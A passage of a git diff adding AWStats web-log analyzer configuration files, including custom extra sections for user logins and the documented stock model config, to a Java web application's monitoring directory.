+ExtraSection1ColumnValues5="extra1,{([^}]+)" +ExtraSection1ColumnFormat5="%s" +ExtraSection1ColumnTitle6="Data" +ExtraSection1ColumnValues6="extra1,[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9]" +ExtraSection1ColumnFormat6="%s" +ExtraSectionStatTypes1=0 +ExtraSectionAddAverageRow1=0 +ExtraSectionAddSumRow1=0 +MaxNbOfExtra1=20 +MinHitExtra1=1 + +ExtraSectionName2="Logins" +ExtraSectionCodeFilter2="" +ExtraSectionCondition2="" +ExtraSection2ColumnTitle1="Usuário" +ExtraSection2ColumnValues1="extra1,Username=([a-zA-Z0-9]+)" +ExtraSection2ColumnFormat1="%s" +ExtraSection1ColumnTitle2="Data" +ExtraSection1ColumnValues2="extra1,[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9]" +ExtraSection1ColumnFormat2="%s" +ExtraSectionStatTypes2=0 +ExtraSectionAddAverageRow2=0 +ExtraSectionAddSumRow2=0 +MaxNbOfExtra2=20 +MinHitExtra2=1 + +# There is also a global parameter ExtraTrackedRowsLimit that limits the +# number of possible rows an ExtraSection can report. This parameter is +# here to protect too much memory use when you make a bad setup in your +# ExtraSection. It applies to all ExtraSection independently meaning that +# none ExtraSection can report more rows than value defined by ExtraTrackedRowsLimit. +# If you know an ExtraSection will report more rows than its value, you should +# increase this parameter or AWStats will stop with an error. +# Example: 2000 +# Default: 500 +# +ExtraTrackedRowsLimit=500 + + +#----------------------------------------------------------------------------- +# INCLUDES +#----------------------------------------------------------------------------- + +# You can include other config files using the directive with the name of the +# config file. +# This is particularly useful for users who have a lot of virtual servers, so +# a lot of config files and want to maintain common values in only one file. +# Note that when a variable is defined both in a config file and in an +# included file, AWStats will use the last value read for parameters that +# contains one value and AWStats will concat all values from both files for +# parameters that are lists of values. +# + +#Include "" + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.model.conf b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.model.conf new file mode 100644 index 0000000..a04e030 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.model.conf @@ -0,0 +1,1558 @@ +# AWSTATS CONFIGURE FILE 7.1 +#----------------------------------------------------------------------------- +# Copy this file into awstats.www.mydomain.conf and edit this new config file +# to setup AWStats (See documentation in docs/ directory). +# The config file must be in /etc/awstats, /usr/local/etc/awstats or /etc (for +# Unix/Linux) or same directory than awstats.pl (Windows, Mac, Unix/Linux...) +# To include an environment variable in any parameter (AWStats will replace +# it with its value when reading it), follow the example: +# Parameter="__ENVNAME__" +# Note that environment variable AWSTATS_CURRENT_CONFIG is always defined with +# the config value in an AWStats running session and can be used like others. +#----------------------------------------------------------------------------- +# $Revision: 1.355 $ - $Author: eldy $ - $Date: 2013/02/10 15:39:22 $ + + + +#----------------------------------------------------------------------------- +# MAIN SETUP SECTION (Required to make AWStats work) +#----------------------------------------------------------------------------- + +# "LogFile" contains the web, ftp or mail server log file to analyze. +# Possible values: A full path, or a relative path from awstats.pl directory. +# Example: "/var/log/apache/access.log" +# Example: "../logs/mycombinedlog.log" +# You can also use tags in this filename if you need a dynamic file name +# depending on date or time (Replacement is made by AWStats at the beginning +# of its execution). This is available tags : +# %YYYY-n is replaced with 4 digits year we were n hours ago +# %YY-n is replaced with 2 digits year we were n hours ago +# %MM-n is replaced with 2 digits month we were n hours ago +# %MO-n is replaced with 3 letters month we were n hours ago +# %DD-n is replaced with day we were n hours ago +# %HH-n is replaced with hour we were n hours ago +# %NS-n is replaced with number of seconds at 00:00 since 1970 +# %WM-n is replaced with the week number in month (1-5) +# %Wm-n is replaced with the week number in month (0-4) +# %WY-n is replaced with the week number in year (01-52) +# %Wy-n is replaced with the week number in year (00-51) +# %DW-n is replaced with the day number in week (1-7, 1=sunday) +# use n=24 if you need (1-7, 1=monday) +# %Dw-n is replaced with the day number in week (0-6, 0=sunday) +# use n=24 if you need (0-6, 0=monday) +# Use 0 for n if you need current year, month, day, hour... +# Example: "/var/log/access_log.%YYYY-0%MM-0%DD-0.log" +# Example: "C:/WINNT/system32/LogFiles/W3SVC1/ex%YY-24%MM-24%DD-24.log" +# You can also use a pipe if log file come from a pipe : +# Example: "gzip -d </var/log/apache/access.log.gz |" +# If there are several log files from load balancing servers : +# Example: "/pathtotools/logresolvemerge.pl *.log |" +# +LogFile="/var/log/httpd/mylog.log" + + +# Enter the log file type you want to analyze. +# Possible values: +# W - For a web log file +# S - For a streaming log file +# M - For a mail log file +# F - For a ftp log file +# Example: W +# Default: W +# +LogType=W + + +# Enter here your log format (Must match your web server config. See setup +# instructions in documentation to know how to configure your web server to +# have the required log format). +# Possible values: 1,2,3,4 or "your_own_personalized_log_format" +# 1 - Apache or Lotus Notes/Domino native combined log format (NCSA combined/XLF/ELF log format) +# 2 - IIS or ISA format (IIS W3C log format). See FAQ-COM115 For ISA. +# 3 - Webstar native log format. +# 4 - Apache or Squid native common log format (NCSA common/CLF log format) +# With LogFormat=4, some features (browsers, os, keywords...) can't work. +# "your_own_personalized_log_format" = If your log is ftp, mail or other format, +# you must use following keys to define the log format string (See FAQ for +# ftp, mail or exotic web log format examples): +# %host Client hostname or IP address (or Sender host for mail log) +# %host_r Receiver hostname or IP address (for mail log) +# %lognamequot Authenticated login/user with format: "john" +# %logname Authenticated login/user with format: john +# %time1 Date and time with format: [dd/mon/yyyy:hh:mm:ss +0000] or [dd/mon/yyyy:hh:mm:ss] +# %time2 Date and time with format: yyyy-mm-dd hh:mm:ss +# %time3 Date and time with format: Mon dd hh:mm:ss or Mon dd hh:mm:ss yyyy +# %time4 Date and time with unix timestamp format: dddddddddd +# %time5 Date and time with format iso: yyyy-mm-ddThh:mm:ss +# %methodurl Method and URL with format: "GET /index.html HTTP/x.x" +# %methodurlnoprot Method and URL with format: "GET /index.html" +# %method Method with format: GET +# %url URL only with format: /index.html +# %query Query string (used by URLWithQuery option) +# %code Return code status (with format for web log: 999) +# %bytesd Size of document in bytes +# %refererquot Referer page with format: "http://from.com/from.htm" +# %referer Referer page with format: http://from.com/from.htm +# %uabracket User agent with format: [Mozilla/4.0 (compatible, ...)] +# %uaquot User agent with format: "Mozilla/4.0 (compatible, ...)" +# %ua User agent with format: Mozilla/4.0_(compatible...) +# %gzipin mod_gzip compression input bytes: In:XXX +# %gzipout mod_gzip compression output bytes & ratio: Out:YYY:ZZpct. +# %gzipratio mod_gzip compression ratio: ZZpct. +# %deflateratio mod_deflate compression ratio with format: (ZZ) +# %email EMail sender (for mail log) +# %email_r EMail receiver (for mail log) +# %virtualname Web sever virtual hostname. Use this tag when same log +# contains data of several virtual web servers. AWStats +# will discard records not in SiteDomain nor HostAliases +# %cluster If log file is provided from several computers (merged by +# logresolvemerge.pl), use this to define cluster id field. +# %extraX Another field that you plan to use for building a +# personalized report with ExtraSection feature (See later). +# If your log format has some fields not included in this list, use: +# %other Means another not used field +# %otherquot Means another not used double quoted field +# +# Examples for Apache combined logs (following two examples are equivalent): +# LogFormat = 1 +# LogFormat = "%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" +# +# Example for IIS: +# LogFormat = 2 +# +LogFormat=1 + + +# If your log field's separator is not a space, you can change this parameter. +# This parameter is not used if LogFormat is a predefined value (1,2,3,4) +# Backslash can be used as escape character. +# Example: " " +# Example: "\t" +# Example: "\|" +# Example: "," +# Default: " " +# +LogSeparator=" " + + +# "SiteDomain" must contain the main domain name, or the main intranet web +# server name, used to reach the web site. +# If you share the same log file for several virtual web servers, this +# parameter is used to tell AWStats to filter record that contains records for +# this virtual host name only (So check that this virtual hostname can be +# found in your log file and use a personalized log format that include the +# %virtualname tag). +# But for multi hosting a better solution is to have one log file for each +# virtual web server. In this case, this parameter is only used to generate +# full URL's links when ShowLinksOnUrl option is set to 1. +# If analyzing mail log, enter here the domain name of mail server. +# Example: "myintranetserver" +# Example: "www.domain.com" +# Example: "ftp.domain.com" +# Example: "domain.com" +# +SiteDomain="" + + +# Enter here all other possible domain names, addresses or virtual host +# aliases someone can use to access your site. Try to keep only the minimum +# number of possible names/addresses to have the best performances. +# You can repeat the "SiteDomain" value in this list. +# This parameter is used to analyze referer field in log file and to help +# AWStats to know if a referer URL is a local URL of same site or an URL of +# another site. +# Note: Use space between each value. +# Note: You can use regular expression values writing value with REGEX[value]. +# Note: You can also use @/mypath/myfile if list of aliases are in a file. +# Example: "www.myserver.com localhost 127.0.0.1 REGEX[mydomain\.(net|org)$]" +# +HostAliases="localhost 127.0.0.1 REGEX[myserver\.com$]" + + +# If you want to have hosts reported by name instead of ip address, AWStats +# need to make reverse DNS lookups (if not already done in your log file). +# With DNSLookup to 0, all hosts will be reported by their IP addresses and +# not by the full hostname of visitors (except if names are already available +# in log file). +# If you want/need to set DNSLookup to 1, don't forget that this will reduce +# dramatically AWStats update process speed. Do not use on large web sites. +# Note: Reverse DNS lookup is done on IPv4 only (Enable ipv6 plugin for IPv6). +# Note: Result of DNS Lookup can be used to build the Country report. However +# it is highly recommanded to enable the plugin 'geoip' or 'geoipfree' to +# have an accurate Country report with no need of DNS Lookup. +# Possible values: +# 0 - No DNS Lookup +# 1 - DNS Lookup is fully enabled +# 2 - DNS Lookup is made only from static DNS cache file (if it exists) +# Default: 2 +# +DNSLookup=2 + + +# When AWStats updates its statistics, it stores results of its analysis in +# files (AWStats database). All those files are written in the directory +# defined by the "DirData" parameter. Set this value to the directory where +# you want AWStats to save its database and working files into. +# Warning: If you want to be able to use the "AllowToUpdateStatsFromBrowser" +# feature (see later), you need "Write" permissions by web server user on this +# directory (and "Modify" for Windows NTFS file systems). +# Example: "/var/lib/awstats" +# Example: "../data" +# Example: "C:/awstats_data_dir" +# Default: "." (means same directory as awstats.pl) +# +DirData="." + + +# Relative or absolute web URL of your awstats cgi-bin directory. +# This parameter is used only when AWStats is run from command line +# with -output option (to generate links in HTML reported page). +# Example: "/awstats" +# Default: "/cgi-bin" (means awstats.pl is in "/yourwwwroot/cgi-bin") +# +DirCgi="/cgi-bin" + + +# Relative or absolute web URL of your awstats icon directory. +# If you build static reports ("... -output > outputpath/output.html"), enter +# path of icon directory relative to the output directory 'outputpath'. +# Example: "/awstatsicons" +# Example: "../icon" +# Default: "/icon" (means you must copy icon directories in "/mywwwroot/icon") +# +DirIcons="/icon" + + +# When this parameter is set to 1, AWStats adds a button on report page to +# allow to "update" statistics from a web browser. Warning, when "update" is +# made from a browser, AWStats is run as a CGI by the web server user defined +# in your web server (user "nobody" by default with Apache, "IUSR_XXX" with +# IIS), so the "DirData" directory and all already existing history files +# awstatsMMYYYY[.xxx].txt must be writable by this user. Change permissions if +# necessary to "Read/Write" (and "Modify" for Windows NTFS file systems). +# Warning: Update process can be long so you might experience "time out" +# browser errors if you don't launch AWStats frequently enough. +# When set to 0, update is only made when AWStats is run from the command +# line interface (or a task scheduler). +# Possible values: 0 or 1 +# Default: 0 +# +AllowToUpdateStatsFromBrowser=0 + + +# AWStats saves and sorts its database on a month basis (except if using +# databasebreak option from command line). +# However, if you choose the -month=all from command line or +# value '-Year-' from CGI combo form to have a report for all year, AWStats +# needs to reload all data for full year (each month), and sort them, +# requiring a large amount of time, memory and CPU. This might be a problem +# for web hosting providers that offer AWStats for large sites, on shared +# servers, to non CPU cautious customers. +# For this reason, the 'full year' is only enabled on Command Line by default. +# You can change this by setting this parameter to 0, 1, 2 or 3. +# Possible values: +# 0 - Never allowed +# 1 - Allowed on CLI only, -Year- value in combo is not visible +# 2 - Allowed on CLI only, -Year- value in combo is visible but not allowed +# 3 - Possible on CLI and CGI +# Default: 2 +# +AllowFullYearView=2 + + + +#----------------------------------------------------------------------------- +# OPTIONAL SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# When the update process runs, AWStats can set a lock file in TEMP or TMP +# directory. This lock is to avoid to have 2 update processes running at the +# same time to prevent unknown conflicts problems and avoid DoS attacks when +# AllowToUpdateStatsFromBrowser is set to 1. +# Because, when you use lock file, you can experience sometimes problems in +# lock file not correctly removed (killed process for example requires that +# you remove the file manualy), this option is not enabled by default (Do +# not enable this option with no console server access). +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +EnableLockForUpdate=0 + + +# AWStats can do reverse DNS lookups through a static DNS cache file that was +# previously created manually. If no path is given in static DNS cache file +# name, AWStats will search DirData directory. This file is never changed. +# This option is not used if DNSLookup=0. +# Note: DNS cache file format is 'minsince1970 ipaddress resolved_hostname' +# or just 'ipaddress resolved_hostname' +# Change : Effective for new updates only +# Example: "/mydnscachedir/dnscache" +# Default: "dnscache.txt" +# +DNSStaticCacheFile="dnscache.txt" + + +# AWStats can do reverse DNS lookups through a DNS cache file that was created +# by a previous run of AWStats. This file is erased and recreated after each +# statistics update process. You don't need to create and/or edit it. +# AWStats will read and save this file in DirData directory. +# This option is used only if DNSLookup=1. +# Note: If a DNSStaticCacheFile is available, AWStats will check for DNS +# lookup in DNSLastUpdateCacheFile after checking into DNSStaticCacheFile. +# Change : Effective for new updates only +# Example: "/mydnscachedir/dnscachelastupdate" +# Default: "dnscachelastupdate.txt" +# +DNSLastUpdateCacheFile="dnscachelastupdate.txt" + + +# You can specify specific IP addresses that should NOT be looked up in DNS. +# This option is used only if DNSLookup=1. +# Note: Use space between each value. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "123.123.123.123 REGEX[^192\.168\.]" +# Default: "" +# +SkipDNSLookupFor="" + + +# The following two parameters allow you to protect a config file from being +# read by AWStats when called from a browser if web user has not been +# authenticated. Your AWStats program must be in a web protected "realm" (With +# Apache, you can use .htaccess files to do so. With other web servers, see +# your server setup manual). +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +AllowAccessFromWebToAuthenticatedUsersOnly=0 + + +# This parameter gives the list of all authorized authenticated users to view +# statistics for this domain/config file. This parameter is used only if +# AllowAccessFromWebToAuthenticatedUsersOnly is set to 1. +# Change : Effective immediatly +# Example: "user1 user2" +# Example: "__REMOTE_USER__" +# Default: "" +# +AllowAccessFromWebToFollowingAuthenticatedUsers="" + + +# When this parameter is defined to something, the IP address of the user that +# reads its statistics from a browser (when AWStats is used as a CGI) is +# checked and must match one of the IP address values or ranges. +# Change : Effective immediatly +# Example: "127.0.0.1 123.123.123.1-123.123.123.255" +# Default: "" +# +AllowAccessFromWebToFollowingIPAddresses="" + + +# If the "DirData" directory (see above) does not exist, AWStats return an +# error. However, you can ask AWStats to create it. +# This option can be used by some Web Hosting Providers that has defined a +# dynamic value for DirData (for example DirData="/home/__REMOTE_USER__") and +# don't want to have to create a new directory each time they add a new user. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +CreateDirDataIfNotExists=0 + + +# You can choose in which format the Awstats history database is saved. +# Note: Using "xml" format make AWStats building database files three times +# larger than using "text" format. +# Change : Database format is switched after next update +# Possible values: text or xml +# Default: text +# +BuildHistoryFormat=text + + +# If you prefer having the report output pages be built as XML compliant pages +# instead of simple HTML pages, you can set this to 'xhtml' (May not work +# properly with old browsers). +# Change : Effective immediatly +# Possible values: html or xhtml +# Default: html +# +BuildReportFormat=html + + +# AWStats databases can be updated from command line of from a browser (when +# used as a cgi program). So AWStats database files need write permission +# for both command line user and default web server user (nobody for Unix, +# IUSR_xxx for IIS/Windows,...). +# To avoid permission problems between update process (run by an admin user) +# and CGI process (ran by a low level user), AWStats can save its database +# files with read and write permissions for everyone. +# By default, AWStats keeps default user permissions on updated files. If you +# set AllowToUpdateStatsFromBrowser to 1, you can change this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +SaveDatabaseFilesWithPermissionsForEveryone=0 + + +# AWStats can purge log file, after analyzing it. Note that AWStats is able +# to detect new lines in a log file, to process only them, so you can launch +# AWStats as often as you want, even with this parameter to 0. +# With 0, no purge is made, so you must use a scheduled task or a web server +# that make this purge frequently. +# With 1, the purge of the log file is made each time AWStats update is run. +# This parameter doesn't work with IIS (This web server doesn't let its log +# file to be purged). +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +PurgeLogFile=0 + + +# When PurgeLogFile is setup to 1, AWStats will clean your log file after +# processing it. You can however keep an archive file of all processed log +# records by setting this parameter (For example if you want to use another +# log analyzer). The archived log file is saved in "DirData" with name +# awstats_archive.configname[.suffix].log +# This parameter is not used if PurgeLogFile=0 +# Change : Effective for new updates only +# Possible values: 0, 1, or tags (See LogFile parameter) for suffix +# Example: 1 +# Example: %YYYY%MM%DD +# Default: 0 +# +ArchiveLogRecords=0 + + +# Each time you run the update process, AWStats overwrites the 'historic file' +# for the month (awstatsMMYYYY[.*].txt) with the updated one. +# When write errors occurs (IO, disk full,...), this historic file can be +# corrupted and must be deleted. Because this file contains information of all +# past processed log files, you will loose old stats if removed. So you can +# ask AWStats to save last non corrupted file in a .bak file. This file is +# stored in "DirData" directory with other 'historic files'. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +KeepBackupOfHistoricFiles=0 + + +# Default index page name for your web server. +# Change : Effective for new updates only +# Example: "index.php index.html default.html" +# Default: "index.php index.html" +# +DefaultFile="index.php index.html" + + +# Do not include access from clients that match following criteria. +# If your log file contains IP addresses in host field, you must enter here +# matching IP addresses criteria. +# If DNS lookup is already done in your log file, you must enter here hostname +# criteria, else enter ip address criteria. +# The opposite parameter of "SkipHosts" is "OnlyHosts". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.]" +# Example: "localhost REGEX[^.*\.localdomain$]" +# Default: "" +# +SkipHosts="" + + +# Do not include access from clients with a user agent that match following +# criteria. If you want to exclude a robot, you should update the robots.pm +# file instead of this parameter. +# The opposite parameter of "SkipUserAgents" is "OnlyUserAgents". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "konqueror REGEX[ua_test_v\d\.\d]" +# Default: "" +# +SkipUserAgents="" + + +# Use SkipFiles to ignore access to URLs that match one of following entries. +# You can enter a list of not important URLs (like framed menus, hidden pages, +# etc...) to exclude them from statistics. You must enter here exact relative +# URL as found in log file, or a matching REGEX value. Check apply on URL with +# all its query paramaters. +# For example, to ignore /badpage.php, just add "/badpage.php". To ignore all +# pages in a particular directory, add "REGEX[^\/directorytoexclude]". +# The opposite parameter of "SkipFiles" is "OnlyFiles". +# Note: Use space between each value. This parameter is or not case sensitive +# depending on URLNotCaseSensitive parameter. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "/badpage.php /page.php?param=x REGEX[^\/excludedirectory]" +# Default: "" +# +SkipFiles="" + + +# Use SkipReferrersBlackList if you want to exclude records coming from a SPAM +# referrer. Parameter must receive a local file name containing rules applied +# on referrer field. If parameter is empty, no filter is applied. +# An example of such a file is available in lib/blacklist.txt +# Change : Effective for new updates only +# Example: "/mylibpath/blacklist.txt" +# Default: "" +# +# WARNING!! Using this feature make AWStats running very slower (5 times slower +# with black list file provided with AWStats ! +# +SkipReferrersBlackList="" + + +# Include in stats, only accesses from hosts that match one of following +# entries. For example, if you want AWStats to filter access to keep only +# stats for visits from particular hosts, you can add those host names in +# this parameter. +# If DNS lookup is already done in your log file, you must enter here hostname +# criteria, else enter ip address criteria. +# The opposite parameter of "OnlyHosts" is "SkipHosts". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.]" +# Default: "" +# +OnlyHosts="" + + +# Include in stats, only accesses from user agent that match one of following +# entries. For example, if you want AWStats to filter access to keep only +# stats for visits from particular browsers, you can add their user agents +# string in this parameter. +# The opposite parameter of "OnlyUserAgents" is "SkipUserAgents". +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "msie" +# Default: "" +# +OnlyUserAgents="" + + +# Include in stats, only accesses from authenticated users that match one of +# following entries. For example, if you want AWStats to filter access to keep +# only stats for authenticated users, you can add those users names in +# this parameter. Useful for statistics for per user ftp logs. +# Note: Use space between each value. This parameter is not case sensitive. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "john bob REGEX[^testusers]" +# Default: "" +# +OnlyUsers="" + + +# Include in stats, only accesses to URLs that match one of following entries. +# For example, if you want AWStats to filter access to keep only stats that +# match a particular string, like a particular directory, you can add this +# directory name in this parameter. +# The opposite parameter of "OnlyFiles" is "SkipFiles". +# Note: Use space between each value. This parameter is or not case sensitive +# depending on URLNotCaseSensitive parameter. +# Note: You can use regular expression values writing value with REGEX[value]. +# Change : Effective for new updates only +# Example: "REGEX[marketing_directory] REGEX[office\/.*\.(csv|sxw)$]" +# Default: "" +# +OnlyFiles="" + + +# Add here a list of kind of url (file extension) that must be counted as +# "Hit only" and not as a "Hit" and "Page/Download". You can set here all +# image extensions as they are hit downloaded that must be counted but they +# are not viewed pages. URLs with such extensions are not included in the TOP +# Pages/URL report. +# Note: If you want to exclude particular URLs from stats (No Pages and no +# Hits reported), you must use SkipFiles parameter. +# Change : Effective for new updates only +# Example: "css js class gif jpg jpeg png bmp ico rss xml swf zip arj rar gz z bz2 wav mp3 wma mpg avi" +# Example: "" +# Default: "css js class gif jpg jpeg png bmp ico rss xml swf" +# +NotPageList="css js class gif jpg jpeg png bmp ico rss xml swf" + + +# By default, AWStats considers that records found in web log file are +# successful hits if HTTP code returned by server is a valid HTTP code (200 +# and 304). Any other code are reported in HTTP status chart. +# Note that HTTP 'control codes', like redirection (302, 305) are not added by +# default in this list as they are not pages seen by a visitor but are +# protocol exchange codes to tell the browser to ask another page. Because +# this other page will be counted and seen with a 200 or 304 code, if you +# add such codes, you will have 2 pages viewed reported for only one in facts. +# Change : Effective for new updates only +# Example: "200 304 302 305" +# Default: "200 304" +# +ValidHTTPCodes="200 304" + + +# By default, AWStats considers that records found in mail log file are +# successful mail transfers if field that represent return code in analyzed +# log file match values defined by this parameter. +# Change : Effective for new updates only +# Example: "1 250 200" +# Default: "1 250" +# +ValidSMTPCodes="1 250" + + +# Some web servers on some Operating systems (IIS-Windows) consider that a +# login with same value but different case are the same login. To tell AWStats +# to also consider them as one, set this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +AuthenticatedUsersNotCaseSensitive=0 + + +# Some web servers on some Operating systems (IIS-Windows) considers that two +# URLs with same value but different case are the same URL. To tell AWStats to +# also considers them as one, set this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +URLNotCaseSensitive=0 + + +# Keep or remove the anchor string you can find in some URLs. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +URLWithAnchor=0 + + +# In URL links, "?" char is used to add parameter's list in URLs. Syntax is: +# /mypage.html?param1=value1¶m2=value2 +# However, some servers/sites use also other chars to isolate dynamic part of +# their URLs. You can complete this list with all such characters. +# Change : Effective for new updates only +# Example: "?;," +# Default: "?;" +# +URLQuerySeparators="?;" + + +# Keep or remove the query string to the URL in the statistics for individual +# pages. This is primarily used to differentiate between the URLs of dynamic +# pages. If set to 1, mypage.html?id=x and mypage.html?id=y are counted as two +# different pages. +# Warning, when set to 1, memory required to run AWStats is dramatically +# increased if you have a lot of changing URLs (for example URLs with a random +# id inside). Such web sites should not set this option to 1 or use seriously +# the next parameter URLWithQueryWithOnlyFollowingParameters (or eventually +# URLWithQueryWithoutFollowingParameters). +# Change : Effective for new updates only +# Possible values: +# 0 - URLs are cleaned from the query string (ie: "/mypage.html") +# 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +# Default: 0 +# +URLWithQuery=0 + + +# When URLWithQuery is on, you will get the full URL with all parameters in +# URL reports. But among thoose parameters, sometimes you don't need a +# particular parameter because it does not identify the page or because it's +# a random ID changing for each access even if URL points to same page. In +# such cases, it is higly recommanded to ask AWStats to keep only parameters +# you need (if you know them) before counting, manipulating and storing URL. +# Enter here list of wanted parameters. For example, with "param", one hit on +# /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +# will be reported as 2 hits on /mypage.cgi?param=abc +# This parameter is not used when URLWithQuery is 0 and can't be used with +# URLWithQueryWithoutFollowingParameters. +# Change : Effective for new updates only +# Example: "param" +# Default: "" +# +URLWithQueryWithOnlyFollowingParameters="" + + +# When URLWithQuery is on, you will get the full URL with all parameters in +# URL reports. But among thoose parameters, sometimes you don't need a +# particular parameter because it does not identify the page or because it's +# a random ID changing for each access even if URL points to same page. In +# such cases, it is higly recommanded to ask AWStats to remove such parameters +# from the URL before counting, manipulating and storing URL. Enter here list +# of all non wanted parameters. For example if you enter "id", one hit on +# /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +# will be reported as 2 hits on /mypage.cgi?param=abc +# This parameter is not used when URLWithQuery is 0 and can't be used with +# URLWithQueryWithOnlyFollowingParameters. +# Change : Effective for new updates only +# Example: "PHPSESSID jsessionid" +# Default: "" +# +URLWithQueryWithoutFollowingParameters="" + + +# Keep or remove the query string to the referrer URL in the statistics for +# external referrer pages. This is used to differentiate between the URLs of +# dynamic referrer pages. If set to 1, mypage.html?id=x and mypage.html?id=y +# are counted as two different referrer pages. +# Change : Effective for new updates only +# Possible values: +# 0 - Referrer URLs are cleaned from the query string (ie: "/mypage.html") +# 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +# Default: 0 +# +URLReferrerWithQuery=0 + + +# AWStats can detect setup problems or show you important informations to have +# a better use. Keep this to 1, except if AWStats says you can change it. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 1 +# +WarningMessages=1 + + +# When an error occurs, AWStats outputs a message related to errors. If you +# want (in most cases for security reasons) to have no error messages, you +# can set this parameter to your personalized generic message. +# Change : Effective immediatly +# Example: "An error occurred. Contact your Administrator" +# Default: "" +# +ErrorMessages="" + + +# AWStat can be run with debug=x parameter to output various informations +# to help in debugging or solving troubles. If you want to allow this (not +# enabled by default for security reasons), set this parameter to 0. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +DebugMessages=0 + + +# To help you to detect if your log format is good, AWStats reports an error +# if all the first NbOfLinesForCorruptedLog lines have a format that does not +# match the LogFormat parameter. +# However, some worm virus attack on your web server can result in a very high +# number of corrupted lines in your log. So if you experience awstats stop +# because of bad virus records at the beginning of your log file, you can +# increase this parameter (very rare). +# Change : Effective for new updates only +# Default: 50 +# +NbOfLinesForCorruptedLog=50 + + +# For some particular integration needs, you may want to have CGI links to +# point to another script than awstats.pl. +# Use the name of this script in WrapperScript parameter. +# Change : Effective immediatly +# Example: "awstatslauncher.pl" +# Example: "awstatswrapper.cgi?key=123" +# Default: "" +# +WrapperScript="" + + +# DecodeUA must be set to 1 if you use Roxen web server. This server converts +# all spaces in user agent field into %20. This make the AWStats robots, OS +# and browsers detection fail in some cases. Just change it to 1 if and only +# if your web server is Roxen. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +DecodeUA=0 + + +# MiscTrackerUrl can be used to make AWStats able to detect some miscellaneous +# things, that can not be tracked on other way, like: +# - Javascript disabled +# - Java enabled +# - Screen size +# - Color depth +# - Macromedia Director plugin +# - Macromedia Shockwave plugin +# - Realplayer G2 plugin +# - QuickTime plugin +# - Mediaplayer plugin +# - Acrobat PDF plugin +# To enable all these features, you must copy the awstats_misc_tracker.js file +# into a /js/ directory stored in your web document root and add the following +# HTML code at the end of your index page (but before </BODY>) : +# +# <script type="text/javascript" src="/js/awstats_misc_tracker.js"></script> +# <noscript><img src="/js/awstats_misc_tracker.js?nojs=y" height=0 width=0 border=0 style="display: none"></noscript> +# +# If code is not added in index page, all those detection capabilities will be +# disabled. You must also check that ShowScreenSizeStats and ShowMiscStats +# parameters are set to 1 to make results appear in AWStats report page. +# If you want to use another directory than /js/, you must also change the +# awstatsmisctrackerurl variable into the awstats_misc_tracker.js file. +# Change : Effective for new updates only. +# Possible value: URL of javascript tracker file added in your HTML code. +# Default: "/js/awstats_misc_tracker.js" +# +MiscTrackerUrl="/js/awstats_misc_tracker.js" + + +# AddLinkToExternalCGIWrapper can be used to add a link to a wrapper script +# into each title of Dolibarr reports. This can be used to add a wrapper +# to download data into a CSV file for example. +# +# AddLinkToExternalCGIWrapper="/awstats/awdownloadcsv.pl" + + + +#----------------------------------------------------------------------------- +# OPTIONAL ACCURACY SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# The following values allow you to define accuracy of AWStats entities +# (robots, browsers, os, referers, file types) detection. +# It might be a good idea for large web sites or ISP that provides AWStats to +# high number of customers, to set this parameter to 1 (or 0), instead of 2. +# Possible values: +# 0 = No detection, +# 1 = Medium/Standard detection +# 2 = Full detection +# Change : Effective for new updates only +# Note : LevelForBrowsersDetection can also accept value "allphones". This +# enable detailed detection of phone/pda browsers. +# Default: 2 (0 for LevelForWormsDetection) +# +LevelForBrowsersDetection=2 # 0 disables Browsers detection. + # 2 reduces AWStats speed by 2% + # allphones reduces AWStats speed by 5% +LevelForOSDetection=2 # 0 disables OS detection. + # 2 reduces AWStats speed by 3% +LevelForRefererAnalyze=2 # 0 disables Origin detection. + # 2 reduces AWStats speed by 14% +LevelForRobotsDetection=2 # 0 disables Robots detection. + # 2 reduces AWStats speed by 2.5% +LevelForSearchEnginesDetection=2 # 0 disables Search engines detection. + # 2 reduces 